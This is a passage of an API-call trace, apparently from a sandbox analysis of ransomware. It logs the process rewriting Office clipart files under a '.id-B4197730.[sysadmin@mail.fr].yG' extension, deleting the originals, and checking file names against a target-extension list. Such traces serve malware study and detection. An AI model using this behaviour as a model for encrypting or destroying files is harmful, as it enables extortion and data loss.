	[0161.233] ReadFile (in: hFile=0x518, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.233] WriteFile (in: hFile=0x42c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.233] SetEndOfFile (hFile=0x42c) returned 1
	[0161.233] CloseHandle (hObject=0x42c) returned 1
	[0161.233] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.233] SetEndOfFile (hFile=0x518) returned 1
	[0161.239] CloseHandle (hObject=0x518) returned 1
	[0161.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 1
	[0161.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.449] lstrlenW (lpString=".doc") returned 4
	[0161.449] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.450] lstrlenW (lpString=".docx") returned 5
	[0161.450] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1
	[0161.450] lstrlenW (lpString=".pdf") returned 4
	[0161.450] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.450] lstrlenW (lpString=".xls") returned 4
	[0161.450] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.450] lstrlenW (lpString=".xlsx") returned 5
	[0161.450] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1
	[0161.450] lstrlenW (lpString=".ppt") returned 4
	[0161.450] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.450] lstrlenW (lpString=".zip") returned 4
	[0161.450] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.450] lstrlenW (lpString=".rar") returned 4
	[0161.450] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.450] lstrlenW (lpString=".bz2") returned 4
	[0161.451] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.451] lstrlenW (lpString=".7z") returned 3
	[0161.451] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.451] lstrlenW (lpString=".dbf") returned 4
	[0161.451] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.451] lstrlenW (lpString=".1cd") returned 4
	[0161.451] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.451] lstrlenW (lpString=".jpg") returned 4
	[0161.451] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.451] lstrlenW (lpString=".doc") returned 4
	[0161.451] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.451] lstrlenW (lpString=".docx") returned 5
	[0161.451] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1
	[0161.451] lstrlenW (lpString=".pdf") returned 4
	[0161.452] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.452] lstrlenW (lpString=".xls") returned 4
	[0161.452] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.452] lstrlenW (lpString=".xlsx") returned 5
	[0161.452] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1
	[0161.452] lstrlenW (lpString=".ppt") returned 4
	[0161.452] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.452] lstrlenW (lpString=".zip") returned 4
	[0161.452] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.452] lstrlenW (lpString=".rar") returned 4
	[0161.452] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.452] lstrlenW (lpString=".bz2") returned 4
	[0161.452] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.452] lstrlenW (lpString=".7z") returned 3
	[0161.452] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.452] lstrlenW (lpString=".dbf") returned 4
	[0161.452] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.452] lstrlenW (lpString=".1cd") returned 4
	[0161.452] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.453] lstrlenW (lpString=".jpg") returned 4
	[0161.453] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.453] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0161.453] lstrlenW (lpString="J0099204.WMF") returned 12
	[0161.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0162.237] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=17854) returned 1
	[0162.237] CloseHandle (hObject=0x518) returned 1
	[0162.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 0x220
	[0162.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0162.238] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.238] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0162.239] GetLastError () returned 0x0
	[0162.239] ReadFile (in: hFile=0x518, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x45be, lpOverlapped=0x0) returned 1
	[0162.321] WriteFile (in: hFile=0x514, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x45c0, lpOverlapped=0x0) returned 1
	[0162.323] ReadFile (in: hFile=0x518, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.323] WriteFile (in: hFile=0x514, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.323] SetEndOfFile (hFile=0x514) returned 1
	[0162.323] CloseHandle (hObject=0x514) returned 1
	[0162.323] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.324] SetEndOfFile (hFile=0x518) returned 1
	[0162.327] CloseHandle (hObject=0x518) returned 1
	[0162.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.328] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 1
	[0162.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0162.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0162.329] lstrlenW (lpString=".doc") returned 4
	[0162.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.329] lstrlenW (lpString=".docx") returned 5
	[0162.329] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0162.329] lstrlenW (lpString=".pdf") returned 4
	[0162.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.330] lstrlenW (lpString=".xls") returned 4
	[0162.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.330] lstrlenW (lpString=".xlsx") returned 5
	[0162.330] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0162.330] lstrlenW (lpString=".ppt") returned 4
	[0162.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0162.330] lstrlenW (lpString=".zip") returned 4
	[0162.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.330] lstrlenW (lpString=".rar") returned 4
	[0162.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.330] lstrlenW (lpString=".bz2") returned 4
	[0162.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.330] lstrlenW (lpString=".7z") returned 3
	[0162.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0162.330] lstrlenW (lpString=".dbf") returned 4
	[0162.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0162.330] lstrlenW (lpString=".1cd") returned 4
	[0162.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0162.331] lstrlenW (lpString=".jpg") returned 4
	[0162.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0162.609] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=32184) returned 1
	[0162.609] CloseHandle (hObject=0x350) returned 1
	[0162.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 0x220
	[0162.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0162.614] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.614] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.615] GetLastError () returned 0x0
	[0162.615] ReadFile (in: hFile=0x350, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0162.653] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0162.663] ReadFile (in: hFile=0x350, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.663] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.663] SetEndOfFile (hFile=0x540) returned 1
	[0162.663] CloseHandle (hObject=0x540) returned 1
	[0162.663] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.663] SetEndOfFile (hFile=0x350) returned 1
	[0162.667] CloseHandle (hObject=0x350) returned 1
	[0162.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 1
	[0162.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0162.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0162.669] lstrlenW (lpString=".doc") returned 4
	[0162.669] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.669] lstrlenW (lpString=".docx") returned 5
	[0162.669] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1
	[0162.669] lstrlenW (lpString=".pdf") returned 4
	[0162.669] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.669] lstrlenW (lpString=".xls") returned 4
	[0162.669] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.669] lstrlenW (lpString=".xlsx") returned 5
	[0162.669] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1
	[0162.669] lstrlenW (lpString=".ppt") returned 4
	[0162.669] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0162.670] lstrlenW (lpString=".zip") returned 4
	[0162.670] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.670] lstrlenW (lpString=".rar") returned 4
	[0162.670] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.670] lstrlenW (lpString=".bz2") returned 4
	[0162.670] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.670] lstrlenW (lpString=".7z") returned 3
	[0162.670] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0162.670] lstrlenW (lpString=".dbf") returned 4
	[0162.670] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0162.670] lstrlenW (lpString=".1cd") returned 4
	[0162.670] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0162.670] lstrlenW (lpString=".jpg") returned 4
	[0162.670] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0162.677] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=32184) returned 1
	[0162.677] CloseHandle (hObject=0x350) returned 1
	[0162.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 0x220
	[0162.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0162.678] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.678] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.679] GetLastError () returned 0x0
	[0162.679] ReadFile (in: hFile=0x350, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0162.682] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0162.684] ReadFile (in: hFile=0x350, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.684] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.684] SetEndOfFile (hFile=0x540) returned 1
	[0162.684] CloseHandle (hObject=0x540) returned 1
	[0163.024] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.024] SetEndOfFile (hFile=0x350) returned 1
	[0163.029] CloseHandle (hObject=0x350) returned 1
	[0163.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 1
	[0163.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0163.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0163.031] lstrlenW (lpString=".doc") returned 4
	[0163.031] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0163.031] lstrlenW (lpString=".docx") returned 5
	[0163.031] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1
	[0163.031] lstrlenW (lpString=".pdf") returned 4
	[0163.031] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0163.031] lstrlenW (lpString=".xls") returned 4
	[0163.031] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0163.031] lstrlenW (lpString=".xlsx") returned 5
	[0163.031] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1
	[0163.031] lstrlenW (lpString=".ppt") returned 4
	[0163.031] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0163.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0163.031] lstrlenW (lpString=".zip") returned 4
	[0163.032] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0163.032] lstrlenW (lpString=".rar") returned 4
	[0163.032] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0163.032] lstrlenW (lpString=".bz2") returned 4
	[0163.032] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0163.032] lstrlenW (lpString=".7z") returned 3
	[0163.032] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0163.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0163.032] lstrlenW (lpString=".dbf") returned 4
	[0163.032] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0163.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0163.032] lstrlenW (lpString=".1cd") returned 4
	[0163.032] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0163.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0163.032] lstrlenW (lpString=".jpg") returned 4
	[0163.032] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0163.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0163.033] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=32184) returned 1
	[0163.033] CloseHandle (hObject=0x350) returned 1
	[0163.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 0x220
	[0163.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
